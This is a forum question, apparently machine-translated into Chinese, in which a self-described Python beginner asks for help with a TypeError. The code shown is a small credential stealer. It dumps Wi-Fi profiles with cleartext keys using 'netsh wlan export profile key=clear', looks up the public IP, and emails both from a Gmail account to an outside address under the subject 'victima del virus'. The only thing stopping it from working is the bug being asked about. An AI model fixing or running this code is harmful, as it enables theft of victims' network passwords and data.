1

我是西班牙语的代码的某些部分(特别是名称和其他东西)

python给了我这个错误

我想帮助因为我是 python 新手并修复错误不是我的特殊能力(对不起我的英语我是西班牙语)

Traceback (most recent call last):
  File "C:\Users\Ticua\Desktop\#test with ip.py", line 38, in <module>
    BODY = '\r\n'.join(['To: %s' % TO, 'From: %s' % gmail_sender,'Subject: victima del virus', ip, f])
TypeError: sequence item 4: expected str instance, _io.TextIOWrapper found

%%MYPASSWORD%% 是我不想被发现的邮件的密码

我的代码:

import subprocess

requests = 'requests'

subprocess.call(['pip', 'install', requests])

from requests import get

import smtplib

ip = str(get('https://api.ipify.org').text)

y = 'C:'

reques = input("pon el nombre de tu red : ")

x = str(subprocess.call(['netsh', 'wlan', 'export', 'profile', 'key=clear', 'folder=C:']))

f = open('C:' + '/Conexión de red inalámbrica-' + reques + '.xml', 'r')


TO = 'ticua07@gmail.com'
SUBJECT = 'victima del virus'

TEXT = ip, f

    # Gmail Sign In
gmail_sender = 'logonuihacks@gmail.com'
gmail_passwd = '%%MYPASSWORD%%'

server = smtplib.SMTP('smtp.gmail.com', 587)
server.ehlo()
server.starttls()
server.login(gmail_sender, gmail_passwd)

BODY = '\r\n'.join(['To: %s' % TO, 'From: %s' % gmail_sender,'Subject: victima del virus', ip, f])
f.close()
try:
 server.sendmail(gmail_sender, [TO], BODY)
 print ('email sent')
except:
    print("fu***d up")
4

0 回答 0